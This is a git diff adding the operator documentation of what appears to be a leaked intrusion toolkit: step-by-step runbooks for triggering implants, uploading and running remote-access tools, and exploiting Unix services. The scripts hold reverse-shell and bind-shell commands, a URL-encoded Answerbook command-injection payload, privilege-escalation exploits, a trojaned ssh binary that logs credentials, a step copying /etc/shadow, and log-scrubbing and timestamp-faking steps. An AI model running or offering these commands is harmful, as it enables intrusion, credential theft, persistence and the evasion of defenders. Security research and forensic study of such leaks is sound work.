/dev/null +++ b/Linux/doc/old/doc/jackpop.doc @@ -0,0 +1,56 @@ +What it does: + + Jackpop is a port redirector, anything that is sent to the port + you specify will be sent to the target that you specify, as long + as you are coming from the source that you specify. It will pick + up the port you are using and use that. This allows for you to + reuse the same port if you desire against the same target. It does + put the correct TCP header in place, so any bad checksums will be + lost. + + Network connections are hidden, but processes are not. + +Things it doesn't do: + + 1. It has no encryption. + 2. The port you use should not already be in LISTEN mode + - it does not so nice things to your target. It will + try to connect everything up, but will end up reseting you. + 3. It will use the destination port as the source port. + 4. Process is not hidden unless you are under incision. + 5. Connection is connectionless, so resends are handled by endpoints + +Things to do: + + Add encryption; + Add bulk port redirection; + - should work for yellow spirit. + +Usage: + +TA="" SA="" TP="" LP="" jackpop + +TA=Target address where jackladder can be triggered +SA=Source address, this is your address that you are connected to the internet +TP=Target port where jack resides, port 23, port 25 etc +LP=Listening port, this is where you direct the jackladder scripts to go + +Sample run: + +[root@itt jackpop]# TA=murray SA=555.1.2.50 TP=25 LP=5559 ./jackpop +got murray +got 555.1.2.50 +got 25 +got 5559 + +[511] + +ot@itt jackpop]# TA=murray SA=555.1.2.50 TP=25 LP=5559 D=hme0 ./jackpop +got murray +got 555.1.2.50 +got 25 +got 5559 +got hme0 + +[511] + diff --git a/Linux/doc/old/doc/opscript.dubmoat b/Linux/doc/old/doc/opscript.dubmoat new file mode 100644 index 0000000..cb2cfaa --- /dev/null +++ b/Linux/doc/old/doc/opscript.dubmoat @@ -0,0 +1,98 @@ +########################################## +# DUBMOAT +########################################## + +### Verify version on target: +uname -a +which ssh +ssh -V + +### Preserve timestamps: +-ls -i /usr/bin/ssh +-ls -d /usr/bin + +touch -r /usr/bin/ssh /tmp/.st +touch -r /usr/bin /tmp/.sb +-lt + +### Create location (utmp~) for dubmoat logging: +-ls -t /var/run +cp /var/run/utmp /var/run/utmp~ + +### fix permisssions so any user can write to the file: +chmod 666 /var/run/utmp~ + +### Download original ssh: +-get /usr/bin/ssh + +### Upload dubmoat and check the version: +-put /current/up/Ssh ssh +./ssh -V + +### Cat our version over original to preserve inode: +cat /tmp/ssh > /usr/bin/ssh +-ls -i /usr/bin/ssh + +/usr/bin/ssh -V +file /usr/bin/ssh + + +### Fix timestamps: + +touch -r /var/run/utmp /var/run/utmp~ +touch -r /var/run/utmp /var/run + +touch -r /tmp/.st /usr/bin/ssh +touch -r /tmp/.sb /usr/bin + +-ls -i /usr/bin/ssh +-ls -d /usr/bin/. + +### Cleanup: + +-rm .st .sb ssh + + + + + + +############################ +# DUBMOAT COLLECTION +############################ + +-ls /var/adm/utmp* + +-get -l /var/adm/utmp~ + + +### Locally, extract the data from the encrypted file: + +cd /current/down +/current/bin/Dumoat_ExtractData ./utmp~ > dub.TARGETNAME + +### Varify the contents and take note of the file size field near +### the beginning of the output. Use that size to truncate the file +### in the next step: + +cat dub.TARGETNAME + + +### Upload the tool used to truncate the dubmoat collection file + + +-put /current/bin/Dubmoat_TruncateFile dmt +chmod 700 dmt + + +### Using the first "FILE SIZE" field from the output above, +### truncate the most recent collection out of the file +-lt /var/adm/utmp~ +./dmt /var/adm/utmp~ +-lt /var/adm/utmp~ + +-rm dmt + + + + diff --git a/Linux/doc/old/doc/ptrace.txt b/Linux/doc/old/doc/ptrace.txt new file mode 100644 index 0000000..71cf6f2 --- /dev/null +++ b/Linux/doc/old/doc/ptrace.txt @@ -0,0 +1,15 @@ + +find / -fstype nfs -prune -o -type f \( -perm -4000 \) -user root -ls > o +#get o + +./ptrace + +#trying running it at least 5 times. +#pick a non-cached binary. passwd is bad. cardctl is good + +#new exploit is ptrace-kmod +#it's a kernel exploit, no suid needed. +#works on linux 2.2 -> 2.4, ex) RH8.0 and MDK 9.0 +#again, you might have to run it twice before it works. +./ptrace-kmod +#it's been tested through the apache-ssl exploit. diff --git a/Linux/doc/old/doc/user.tool.dittlelight_hidelite.COMMON b/Linux/doc/old/doc/user.tool.dittlelight_hidelite.COMMON new file mode 100644 index 0000000..dbff105 --- /dev/null +++ b/Linux/doc/old/doc/user.tool.dittlelight_hidelite.COMMON @@ -0,0 +1,74 @@ +############################################################ +# DITTLELIGHT (HIDELIGHT) +############################################################ + +### To run the unix oracle db scripts, you must do them outside of an INCISION process +### therefore, you can use DITTLELIGHT (HIDELITE) to unhide your nopen window +### You must run HIDELIGHT on a process with a parent PID of "1" so +### do a callback to your redirector and run hidelite on the callback window + +### Hidelite +### Create a callback window + +# On redirector: +-nrtun NOPEN_PORT + +# On target: +-call REDIR_IP NOPEN_PORT + +### upload the correct version of hidelite for sparc or linux in a temp directory: +mkdir /tmp/.scsi +-cd /tmp/.scsi +-put /current/bin/hidelite.sparc crond + # or +-put /current/bin/hidelite.linux crond + + +### Obtain the PIDs of your nopen windows. +### The callback window will have a parent pid of (1): +### Run -pid in each nopen window: +-pid + +### In a nopen window OTHER than the callback window you are about to unhide, +### run hidelite to unhide the callback window: +./crond -u -p NOPEN_CALLBACK_WINDOW_PID + +### Remove hidelite from the target: +-rm crond + +### In the CALLBACK window, verify that this window has now lost its INCISION privileges +### and can no longer see the other nopen PIDS + +ps -ef | grep NOPEN_PID + +### In any window, you can run =psdiff to verify that either the callback window is +### unhidden or that the other (INCISION privileged) nopen windows are invisible +### to the callback window. +=psdiff + +### You can now run the oracle queries in the UNHIDDEN CALLBACK window. +### When done, simply -exit the unhidden callback window. + +### If for some reason you need to rehide a process, upload HIDELITE +### and run the following from a HIDDEN (privileged) window: + +### To hide again +./crond -h -p NOPENPID +-rm crond + + +### If you were running oracle commands, you can now clean them up: +### Cleanup the logs created from the oracle scripts: +### ex: +# -ls -t /opt/mnt/oracle/product/9.2.0/rdbms/audit +# -rm +# -touch /opt/mnt/oracle/product/9.2.0/rdbms/audit/ora_1473.aud /opt/mnt/oracle/ product/9.2.0/rdbms/audit + +### Remove your working directory and -burn nopen when done with op +-cd /tmp +-rm .scsi +-lt /tmp +-burnBURN + + + diff --git a/Linux/doc/old/doc/user.tool.envisioncollision.COMMON b/Linux/doc/old/doc/user.tool.envisioncollision.COMMON new file mode 100644 index 0000000..15bed36 --- /dev/null +++ b/Linux/doc/old/doc/user.tool.envisioncollision.COMMON @@ -0,0 +1,101 @@ + +2011-12-09 16:54:07 EST +############################################## +# ENVISIONCOLLISION USAGE +############################################## + +usage: /tmp/envisioncollision -i -p -U -P -D -c + + -i IP + -p # [default port = 80] + -t [determine if URL exists, commands are not sent] + -h help + -c "Commands" + -s [request https, default is http] + -d debug + -D directory + -U user + -P password + +Examples: +Window 1: nc -vv -l -p 101 +Window 2: nc -vv -l -p 102 +Window 3: /tmp/envisioncollision -UADMIN -PPASSWORD -i127.0.0.1 -Dipboard -c"sh&0 2>&0" +Window 3: /tmp/envisioncollision -UADMIN -PPASSWORD -i127.0.0.1 -Dipboard -c"sleep 500|nc 10.1.1.1 101|sh|nc 10.1.1.1 102" +Window 3: /tmp/envisioncollision -UADMIN -PPASSWORD -i127.0.0.1 -Dipboard -c"sleep 500|/usr/bin/telnet 10.1.1.1 101|sh|/usr/bin/telnet 10.1.1.1 102" + + + +############################################## +# SETUP VARIABLES +############################################## + +mx +:%s,PROJECTNAME,PROJECTNAME,g +:%s,ADMIN,ADMIN,g +:%s,PASSWORD,PASSWORD,g +:%s,REDIR_IP,REDIR_IP,g +:%s,TARGET_IP,TARGET_IP,g +:%s,SHELL_PORT,SHELL_PORT,g +`x + +############################################## +# OPTION 1: Target calls us back with shell +############################################## + +# Target initiates a shell callback to REDIR_IP:port + +# On redir_ip: +-tunnel +r SHELL_PORT +l 80 TARGET_IP + + +# username: ADMIN +# password: PASSWORD +./envisioncollision -UADMIN -PPASSWORD -I 127.0.0.1 -Dipboard -c"sh&0 2>&0" + + +############################################## +# OPTION 2: Target shell listener with perl +############################################## + +# On redir_ip: +-tunnel +l SHELL_PORT TARGET_IP +l 80 TARGET_IP + + + +# Target starts a listener on LPORT it will self-destruct in LIVES seconds +LPORT=SHELL_PORT +LIVES=600 +./envisioncollision -i 127.0.0.1 -UADMIN -PPASSWORD -D ipboard -c "perl -MIO -e \'if (\$k=fork){\$i=$LIVES;while(\$i--){sleep 1;}kill(9,\$k);exit;}chdir(\"/tmp\");while(\$c=new IO::Socket::INET(LocalPort,$LPORT,Reuse,1,Listen)->accept){\$~->fdopen(\$c,w);STDIN->fdopen(\$c,r);STDERR->fdopen(\$c,w);system \"/bin/sh\";}\'" + +# Now connect forward to the perl shell listener you just started: +nc -vv 127.0.0.1 $LPORT + +# Optional with listener method. +# Once you are on and interactive with netcat, if +# you kill the PARENT Perl process (parent pid is 1) +# with kill -9, the child process (running the LISTENer) +# and your shell) will both survive. If you kill -9 BOTH +# perl processes, your shell will survive. +# survives just fine. +ps -wefwww | grep " 1 .*perl" +kill -9 PARENT_PID + + + +############################################## +# Log success or failure (run at any local prompt) +############################################## +# NOTE: Comment is free form, you can modify it + +# FAILURE: +/current/etc/autologtool -n ENVISIONCOLLISION -V 1.0.0.1 -s FAIL -u EXERCISED -c "PROJECTNAME / TARGET_IP via REDIR_IP" -T host_TARGET_IP +# FAILURE: +/current/etc/autologtool -n ENVISIONCOLLISION -V 1.0.0.1 -s SUCCESSFUL -u EXERCISED -c "PROJECTNAME / TARGET_IP via REDIR_IP" -T host_TARGET_IP + + + diff --git a/Linux/doc/old/doc/user.tool.trigger_hpux_jl_in.COMMON b/Linux/doc/old/doc/user.tool.trigger_hpux_jl_in.COMMON new file mode 100644 index 0000000..307cde2 --- /dev/null +++ b/Linux/doc/old/doc/user.tool.trigger_hpux_jl_in.COMMON @@ -0,0 +1,300 @@ +############################################################### +# TRIGGERING HPUX INCISION via JACKLADDER and JACKLADDERHELPER +############################################################### + +### BACKGROUND: + +### HP-INCISION provides process and file hiding. It does NOT provide +### connection hiding nor does it have a triggering capability in this +### version (1.1.2.1 for HPUX11.00) + +### HP-JACKLADDER differs from other JACKLADDERs because it requires the use +### of special source ports for triggering. The purpose of the special source +### ports is two-fold: it plays a part in the authentication process for the +### trigger, and it causes the 'accept' call to wait an extra 5 seconds for +### input, thus allowing it to work via most redirection (as long as the +### roundtrip time between the redirector and the target is less than 5 +### seconds.) + +### JACKLADDERHELPER is an "instant-grat" version listening on an extra port. +### It only listens until the target reboots. +### On HPUX, it is typically installed on port 7162 running as 'memlogd'. + +### JACKLADDER will take over once the target reboots. Depending on how it +### was installed, it will listen on ports started by inetd (check +### /etc/inetd.conf) or on the sendmail port. + +### The HP-JACKLADDER and HP-JACKLADDERHELPER special source ports are: +### 3, 51, 8213, 12634, 16798, 23247 + + +HP-TARGET-IP self-explanatory +HP-JL-SOURCE-PORT 3, 51, 8213, 12634, 16798, or 23247 +JL-LISTEN-PORT before target reboots - double-check but probably 7162; + after target reboots - double-check, but probably try (13, + 21, 23, 37, 113) +NETCAT-PORT random for uploading nopen +LINUX-OP-BOX local Linux machine (probably 192.168.254.71) +WIN-OP-BOX local Windows machine (probably 192.168.254.72) +UNIX-REDIR-IP IP that target will call back to +WIN-REDIR-IP IP that target will call back to +NOPEN_DIR directory to upload nopen to (/tmp/.scsi usually) + (WILL NEED TO ESCAPE SLASHES) +NOPEN_NAME name of nopen on target +NOPEN_PORT port to run nopen on + +mx +:%s/HP_TARGET_IP/HP_TARGET_IP/g +:%s/HP_JL_SOURCE_PORT/HP_JL_SOURCE_PORT/g +:%s/JL_LISTEN_PORT/JL_LISTEN_PORT/g +:%s/NETCAT_PORT/NETCAT_PORT/g +:%s/LINUX_OP_BOX/LINUX_OP_BOX/g +:%s/WIN_OP_BOX/WIN_OP_BOX/g +:%s/UNIX_REDIR_IP/UNIX_REDIR_IP/g +:%s/WIN_REDIR_IP/WIN_REDIR_IP/g +:%s/NOPEN_DIR/NOPEN_DIR/g +:%s/NOPEN_NAME/NOPEN_NAME/g +:%s/NOPEN_PORT/NOPEN_PORT/g +'x + + +######################################################### +### TO CONNECT TO JACKLADDER* thru solaris box: +######################################################### + +### Verify the JACKLADDERHELPER port is still listening +### If the port doesn't respond, the target may have rebooted or JACKLADDER_HELPER died +### "Connection refused" means that the port isn't listening +### Otherwise scan for ports that should be started by inetd +### jackladderhelper port is probably 7162 + +-scan JL_LISTEN_PORT TARGET_IP + +### On Solaris redirector: + +-jackpop HP_TARGET_IP JL_LISTEN_PORT UNIX_REDIR_IP HP_JL_SOURCE_PORT + +Your Choice[1] 1 +UTC offset? [0] +Which port will we be uploading nopen on? [44841] NETCAT_PORT +Which port would you like nopen to listen on? [48970] NOPEN_PORT +Nopen to upload[] CORRECT_NOSERVER_FROM_MORERATS +Which directory would you like to create[/tmp/.dskman] NOPEN_DIR +What would you like nopen called on target [podd] NOPEN_NAME +Do you want incision to bless the nopen server? [Yn] Y + +Continue? [Yn] Y + +### after the upload completes: +### close both jackpop windows, +### type DONE in -jackpop window + +### connect using the -nstun command given by the -jackpop window + +############ GO TO WEARCUP SECTION NOW IF SUCCESSFUL ######### + +######## TROUBLESHOOTING ONLY - avoid syntax errors with commands being executed on target!: + +### Test JL from redirector: +### special source ports: 3, 51, 8213, 12634, 16798, 23247 +### Probably need to redirect output (2>&0 1>&0 as below) for every +### command run + +-jackpop HP_TARGET_IP JL_LISTEN_PORT UNIX_REDIR_IP HP_JL_SOURCE_PORT + +3 +0 +Y +date 2>&0 1>&0 +DONE + +############################################################## +### TO CONNECT TO HP-UX JACKLADDER* thru non-Solaris Unix box: +############################################################## + +### Window 1 on Unix redirector: +-tunnel +l JL_LISTEN_PORT HP_TARGET_IP JL_LISTEN_PORT HP_JL_SOURCE_PORT +r NETCAT_PORT + +### Window 2 on Unix redirector: +# If nopen calling back: +-nrtun NOPEN_PORT + +# If calling into nopen, don't run this until you run window 4 cmd +# and nopen appears to be successfully uploaded +-nstun HP_TARGET_IP:NOPEN_PORT + +### Window 3 local +packrat NOPEN_NAME CORRECT_NOSERVER_IN_MORERATS NETCAT_PORT + +### Window 4 local and scripted +# If calling forward into nopen: +LD_PRELOAD=/current/bin/connect.so CMD="mkdir NOPEN_DIR; cd NOPEN_DIR; telnet UNIX_REDIR_IP NETCAT_PORT NOPEN_NAME.uu; uudecode NOPEN_NAME.uu ; uncompress -f NOPEN_NAME.Z; chmod 700 NOPEN_NAME; export PATH=.; export D=-lNOPEN_PORT; NOPEN_NAME" RA=UNIX_REDIR_IP RP=HP_JL_SOURCE_PORT HIDEME= nc 127.0.0.1 JL_LISTEN_PORT + +# If nopen is calling back: +LD_PRELOAD=/current/bin/connect.so CMD="mkdir NOPEN_DIR; cd NOPEN_DIR; telnet UNIX_REDIR_IP NETCAT_PORT NOPEN_NAME.uu; uudecode NOPEN_NAME.uu ; uncompress -f NOPEN_NAME.Z; chmod 700 NOPEN_NAME; export PATH=.; export D=-cUNIX_REDIR_IP:NOPEN_PORT; export S=30; NOPEN_NAME" RA=UNIX_REDIR_IP RP=HP_JL_SOURCE_PORT HIDEME= nc 127.0.0.1 JL_LISTEN_PORT + +### TROUBLESHOOTING: CMD can be changed to be any string of shell commands. +### If output from any command in the string desired, you may have to append +### the string "2>&0 1>&0" to each command +### i.e. "ls -la /tmp 2>&0 1>&0; uname -a 2>&0 1>&0" +### +### NOTE: you cannot remove or overwrite a running binary on HP-UX, so if +### you are trying to overwrite something during troubleshooting, this may +### be why + + +######################################################### +### TO CONNECT TO JACKLADDER* thru windows box: +######################################################### + +### from windows target, scan JACKLADDERHELPER to see if it's still listening: +banner -ip HP_TARGET_IP -port JL_LISTEN_PORT + +### windows tunnels: +### ---------------- +# Examples to connect, connect back to packrat window to upload nopen, and -nstun to target: + +### connect to JACKLADDER* +### background redirect -tcp -lplisten JL-LISTEN-PORT -target HP-TARGET-IP JL-LISTEN-PORT HP-JL-SOURCE-PORT -bind WIN-OP-BOX +### background redirect -tcp -lplisten 7162 -target 10.27.50.41 7162 12634 -bind 192.168.254.72 +background redirect -tcp -lplisten JL_LISTEN_PORT -target HP_TARGET_IP JL_LISTEN_PORT HP_JL_SOURCE_PORT -bind WIN_OP_BOX + + +### callback to PACKRAT window +### background redirect -tcp -implantlisten NETCAT-PORT -target LINUX-OP-BOX NETCAT-PORT +### background redirect -tcp -implantlisten 39778 -target 192.168.254.71 39778 +background redirect -tcp -implantlisten NETCAT_PORT -target LINUX_OP_BOX NETCAT_PORT + + +### call forward to NOPEN PORT (default listen port = 32754) +### background redirect -tcp -lplisten 32754 -target HP-TARGET-IP 32754 -bind WIN-OP-BOX +### background redirect -tcp -lplisten 32754 -target 10.27.50.41 32754 -bind 192.168.254.72 +background redirect -tcp -lplisten NOPEN_PORT -target HP_TARGET_IP NOPEN_PORT -bind WIN_OP_BOX + + +### additional nopen windows (increment the lplisten port only): +### background redirect -tcp -lplisten 32755 -target HP-TARGET-IP 32754 -bind WIN-OP-BOX +### background redirect -tcp -lplisten 32755 -target 10.27.50.41 32754 -bind 192.168.254.72 +background redirect -tcp -lplisten ANOTHER_PORT -target HP_TARGET_IP NOPEN_PORT -bind WIN_OP_BOX +background redirect -tcp -lplisten ANOTHER_ANOTHER_PORT -target HP_TARGET_IP NOPEN_PORT -bind WIN_OP_BOX + +### local linux: +### ----------- + +# RA = redirector address +# RP = redirector source port + +# In local window +packrat NOPEN_NAME CORRECT_NOSERVER_IN_MORERATS NETCAT_PORT + +### in a local scripted window: +LD_PRELOAD=/current/bin/connect.so CMD="mkdir NOPEN_DIR; cd NOPEN_DIR; telnet WIN_REDIR_IP NETCAT_PORT NOPEN_NAME.uu; uudecode NOPEN_NAME.uu ; uncompress -f NOPEN_NAME.Z; chmod 700 NOPEN_NAME; export PATH=.; export D=-lNOPEN_PORT; nscd" RA=WIN_REDIR_IP RP=HP_JL_SOURCE_PORT HIDEME= nc WIN_OP_BOX JL_LISTEN_PORT + +### once the target uploads nopen, the LD_PRELOAD window should give you a prompt back; +### you can then connect to nopen: +noclient WIN_OP_BOX:NOPEN_PORT +noclient WIN_OP_BOX:ANOTHER_PORT +noclient WIN_OP_BOX:ANOTHER_ANOTHER_PORT + +######## TROUBLESHOOTING ONLY - avoid syntax errors with commands being executed on target!: + +### to run a command on target (do not string together multiple commands): +### LD_PRELOAD=./connect.so.RHEL4 CMD="uname -a" RA=WIN-REDIR-IP RP=HP-JL-SOURCE-PORT telnet WIN-OP-BOX JL-LISTEN-PORT +### LD_PRELOAD=./connect.so.RHEL4 CMD="uname -a" RA=10.27.50.50 RP=HP-JL-SOURCE-PORT telnet 192.168.254.72 7162 + +LD_PRELOAD=/current/bin/connect.so CMD="uname -a" RA=WIN_REDIR_IP RP=HP_JL_SOURCE_PORT nc WIN_OP_BOX JL_LISTEN_PORT + +### to create a file on target: +### LD_PRELOAD=./connect.so.RHEL4 CMD="touch /tmp/.scsi/x " RA=WIN-REDIR-IP RP=HP-JL-SOURCE-PORT telnet WIN-OP-BOX JL-LISTEN-PORT +### LD_PRELOAD=./connect.so.RHEL4 CMD="touch /tmp/.scsi/x" RA=10.27.50.50 RP=HP-JL-SOURCE-PORT telnet 192.168.254.72 7162 + +LD_PRELOAD=/current/bin/connect.so CMD="touch /tmp/.scsi/x" RA=WIN_REDIR_IP RP=HP_JL_SOURCE_PORT nc WIN_OP_BOX JL_LISTEN_PORT + +### to get an interactive window: +### LD_PRELOAD=./connect.so.RHEL4 CMD="/bin/sh 2>&0 1>&0" RA=WIN-REDIR-IP RP=HP-JL-SOURCE-PORT nc WIN-OP-BOX JL-LISTEN-PORT +### LD_PRELOAD=./connect.so.RHEL4 CMD="/bin/sh 2>&0 1>&0" RA=10.27.50.50 RP=HP-JL-SOURCE-PORT nc 192.168.254.72 7162 + +LD_PRELOAD=./connect.so.RHEL4 CMD="/bin/sh 2>&0 1>&0" RA=WIN_REDIR_IP RP=HP_JL_SOURCE_PORT nc WIN_OP_BOX JL_LISTEN_PORT + + + +######################################################### +# Running WEARCUP and NOT using -burn +######################################################### + +### Once connected, you will be in your temporary directory and will need +### to clean it up. However, HPUX systems will not allow you to delete an +### executable if it's running, nor the directory it's running in. To +### circumvent this, use 'cup' (CleanUp) + +-lt +-rm nscd.uu +-gs wearcup -h + +# change the options for what you want to call cup and how long you want cup +# to sleep before it kills nopen and cleans your working directory, +# then run it + +-gs wearcup -r snmpd -w 4h + +# when it is time to end the op, kill the "sleep" pid to start immediate cleanup +# to extend the op, kill the pid of the script (now called snmpd) then kill the sleep + +# DO NOT -burnBURN !!!!!! +# use -exit for your windows!!!!! + + + +######################################################### +### HP-INCISION technique checks +######################################################### + + +### Check if JACKLADDERHELPER is still running: +ps -ef |grep memlogd + +### Verify the hidden directory is visible from your hidden process: + +-lt /lost+found/3d9892354a360245add0f483f269f384 + +### Verify the hidden directory is no longer visible when you're in /dev: + +cd /dev; ls -la /lost+found/3d9892354a360245add0f483f269f384 + +### system kernel checks: + +### get system configuration value for CPU_VERSION; should return 532 + +/usr/bin/getconf SC_CPU_VERSION + +### get system configuration value for KERNEL_BITS; should return 64 + +/usr/bin/getconf SC_KERNEL_BITS + +### get the status of any kernel modules that are currently loaded +### if under INCISION, should see krm and krm64 + +kmadmin -s + +### check reboot history + +last -15 reboot + +### check and pull logs + +-lt /var/adm/syslog/syslog* +-get /var/adm/syslog/syslog* + +-lt /etc/rc.log* +-get /etc/rc.log* + +-lt /var/adm/crash + +-lt /*history +-lt /root/*history +-vget /*history /root/*history + +######################################################### + diff --git a/Linux/doc/old/doc/whiteghost.txt b/Linux/doc/old/doc/whiteghost.txt new file mode 100644 index 0000000..3d8e1f7 --- /dev/null +++ b/Linux/doc/old/doc/whiteghost.txt @@ -0,0 +1,29 @@ +####- WHITEGHOST +##- Check that the services are running: +rpcinfo -n 32771 -t REMOTEIP 100024 +rpcinfo -n 32772 -t REMOTEIP 100083 + +-tunnel +u 111 TARGETIP +u 100024 1 udp 32791 status +l 100083 1 tcp 32777 + +-rtun LOCALPORT + +./ghost_sparc -v s8ll REMOTEIP + +## +mkdir /tmp/.scsi;cd /tmp/.scsi; telnet LOCALIP 32377 < /dev/console |uudecode && uncompress -f nscd.Z && PATH=/tmp/.scsi nscd + +##- Clean! + +ls -la /tmp/.X11-unix +rm -rf /tmp/.X11-unix + +ls -lart /var/statmon/* +rm /var/statmon/sm/*.rec + + +###- sgrep /var/adm/messages ... + + diff --git a/Linux/doc/old/etc/abopscript.txt b/Linux/doc/old/etc/abopscript.txt new file mode 100644 index 0000000..b94e905 --- /dev/null +++ b/Linux/doc/old/etc/abopscript.txt @@ -0,0 +1,116 @@ +#For now, attack from a Linux box. Sun's telnet client seems to be +#strlen impaired. Also, Answerbook and netcat don't get along for some reason. + +#The following substitutions are for the URL: +:%s/$/%0A/g +:%s/&/%26/g +:%s/ /%20/g +:%s/;/%3B/g +:%s/\$/%24/g + +#Do the substitutions via the shell, simply copy and paste if vi impaired +cat grabit | sed 's/$/%0A/g;s/&/%26/g;s/;/%3B/g;s/ /%20/g;s/+/%2B/g;s/$s/ABC/g;s/\"/\\"/g;s/GET%20/GET /g;s/\\ABC/$s/g;s/%20\\"\\%0A/%20"\\%0A/g;s/^\\"%20/\"%20/g' > seed1 + +vi seed1 +Join lines, make sure there are no spaces +delete the last %0a + +# check for open ports +telnet TARGETIP 8080 +telnet TARGETIP 8081 + +# The following URL is seed1 +# Let's do it +telnet TARGETIP 8888 + +GET /ab2/@LegacyPageView?ps=`echo%20"\%0A(/bin/ksh<<\%2B%0As=63%0Awhile%20[%20ABC%20-gt%208%20]%0Ado%0A[[%20-S%20/dev/fd/ABC%20]]%20%26%26%20break%0A((s=ABC-1))%0Adone%0A[%20ABC%20-gt%208%20]%20%26%26%20exec%20sh%20-i%20%20/dev/fd/ABC%202>%261%20%26%0A%2B%0A)2>/dev/null%26%0A"%20|%20sed%20's/ABC/$s/g'%20|%20sh` HTTP/1.0 + + +#AB starts two shells which sometimes confuses the output, so +#delete the last one. +exit;: + +#not usually needed +#toggle crlf + +#needed +toggle outbinary + +mkdir /tmp/.X11R6; cd /tmp/.X11R6; pwd +cat > a.uu <<"EOF" +# more nscd.uu +EOF + +uudecode a.uu && uncompress nscd.Z && rm a.uu +chmod +x nscd;ls -la +PATH=/tmp/.X11R6 P=8080 nscd + +../bin/nosy3_client.rh62 -p 8080 TARGETIP +ps -ef|grep sh + +#elevation to root using a local +#won't work if X is blocked +ls -la /usr/dt/bin/dtprintinfo +3 +xp +xp_dtprintinfo +chmod +x xp +PATH=/tmp/.X11R6:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc:/usr/ucb + +echo "PATH=/tmp/.X11R6 P=8081 nscd" | ./xp +../bin/nosy3_client.rh62 -p 8081 TARGETIP + +#elevation to root using another local +#won't work if X is blocked +ls -la /usr/openwin/bin/kcms_calibrate +3 +xp2 +libXmexploit2.6 +chmod +x xp2 +#xhost + +echo "PATH=/tmp/.X11R6 P=8081 nscd" | ./xp2 LOCALIP:0 + +#wsmoothy +mkdir -p /tmp/1291aaab +cd /tmp/1291aaab +cp ~/efs/{WS|PS}/efs . +rm -f fd2 +echo "PATH=/tmp/.X11R6 P=8081 nscd" | ./efs + +ls -lart /var/log/ab2/logs +tail /var/log/ab2/logs/errors-8888.log + +tail -20 /var/log/ab2/logs/access-8888.log +wc /var/log/ab2/logs/access-8888.log +cp /var/log/ab2/logs/access-8888.log . +head -$wc-15 access-8888.log > out +tail -20 out +cat out > /var/log/ab2/logs/access-8888.log +tail -20 /var/log/ab2/logs/access-8888.log + +# clean previous OP +egrep -v '(OLDIP|X11R6|telnet |uudecode|uncompress -f|nscd|user |binary|ingreslock|tags)' access-8888.log > out + +# clean the logs +tail /var/log/ab2/logs/main-8888.log +wc /var/log/ab2/logs/main-8888.log +cp /var/log/ab2/logs/main-8888.log . +head -$wc-1 main-8888.log > out2 +tail out2 +cat out2 > /var/log/ab2/logs/main-8888.log +tail /var/log/ab2/logs/main-8888.log + +# elevate using BLUESPIRIT +rpcinfo -p +# in a nosy client +9 +#Target IP (0 for listen): 127.0.0.1 +#Target Port: 32772 +#Local Port: 11111 +#Protocol 1 for TCP 2 for UDP: 2 + +On the local terminal: +./bs -i 127.0.0.1 -h sage -p 11111 -c "PATH=/tmp/.X11R6 P=8081 nscd" +./bs -i 127.0.0.1 -h sage -p 11111 -c "cp /etc/shadow /tmp/.X11R6; chmod 777 /tmp/.X11R6/shadow" + +../bin/nosy3_client.rh62 -p 8081 TARGETIP diff --git a/Linux/doc/old/etc/aix_install b/Linux/doc/old/etc/aix_install new file mode 100644 index 0000000..e78893c --- /dev/null +++ b/Linux/doc/old/etc/aix_install @@ -0,0 +1,16 @@ + +# To run a helper if you would like. +# find a executable name that would blend in as well as a port + +-put /current/up/jlhelper.debain.sparc crond + +# Example +-getenv + +-setenv PATH=/tmp/.scsi/:{put original path here} + +# make sure crond is from your directory. +which crond +echo 20910 | crond + +Enjoy.... diff --git a/Linux/doc/old/etc/catflap.script b/Linux/doc/old/etc/catflap.script new file mode 100644 index 0000000..1b9a608 --- /dev/null +++ b/Linux/doc/old/etc/catflap.script @@ -0,0 +1,6 @@ + + +first get a scalpel.... + + + diff --git a/Linux/doc/old/etc/earth.png b/Linux/doc/old/etc/earth.png new file mode 100644 index 0000000..ad54bb1 Binary files /dev/null and b/Linux/doc/old/etc/earth.png differ diff --git a/Linux/doc/old/etc/ebbshave.script b/Linux/doc/old/etc/ebbshave.script new file mode 100644 index 0000000..bbb9d2f --- /dev/null +++ b/Linux/doc/old/etc/ebbshave.script @@ -0,0 +1,67 @@ +### See the binary's usage statement for, well, usage. + + +### Locally prep the RAT for uudecode/paste +cd /current/up +ls -al noser* +packrat -l +gedit sendmail.Z.uu & + +### Once you get root on the guy with it, be aware: + +### o You're in a cleartext shell over the port you whacked. +### o Don't stay long. + + +### ON TARGET +### Just in case (should not need) +unset HISTFILE HISTSIZE HISTFILESIZE + +### Get out of / but remember /core there... +cd /tmp + +### Need a PATH maybe +echo $PATH +export PATH=/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/tmp + +### Do we have these? +which uudecode uncompress perl + +### If we have both uudecode and uncompress +uudecode +### AT THIS POINT Edit/Select All in gedit window and middle click +### in uudecode window + + +### IF WE DO NOT have uncompress, rerun packrat with -z and proceed as above. + +### IF WE DO NOT HAVE uudecode but we DO HAVE perl, +### Locally run this (LOCALLY!!!!) and follow its directions +uudecode.pastable -s /current/up/noserver + + +### Run it +PATH=. sendmail + +### Or maybe +PATH=. D=-lrandom10099-64321 sendmail + +### Once connected to the RAT, ^C in the exploit window + + +### Clean up after yourself (in RAT window) +-rm /core +-logcheck + +### If your logs are not visible with -logcheck, try this: +-grep -C 1 Illegal /var/adm/messages +-grep -C 1 inetd /var/adm/messages + + +### Clean those with sgrep... +-put /current/up/sgrep sg +./sg + +..... + +-rm sg diff --git a/Linux/doc/old/etc/enterseed.script b/Linux/doc/old/etc/enterseed.script new file mode 100644 index 0000000..4c6df0a --- /dev/null +++ b/Linux/doc/old/etc/enterseed.script @@ -0,0 +1,124 @@ + ### ENTERSEED + + ### Set up variables. Use the next section for reference. + + ## Description Typical Value Actual Value This OP + ## --------------- ------------- -------------------- + ## local-ip: LOCAL_IP + ## pitch-ip: 192.148.167.2 PITCH_IP + ## target-ip: 195.210.0.50 TARGET_IP + ## target-name: mail HOST_NAME + ## target-domain: swix.ch DOMAIN_NAME + ## netcat-port: random random14390-63432-21 + ## nstun-port: random random14390-63432-23 + ## rat-port: random random14390-63432-22 + + # Make the changes here. Use the above for reference if you need it. + +mx +:%s/LOCAL_IP/LOCAL_IP/g +:%s/PITCH_IP/PITCH_IP/g +:%s/TARGET_IP/TARGET_IP/g +:%s/HOST_NAME/HOST_NAME/g +:%s/NETCAT_PORT/NETCAT_PORT/g +:%s/DOMAIN_NAME/DOMAIN_NAME/g 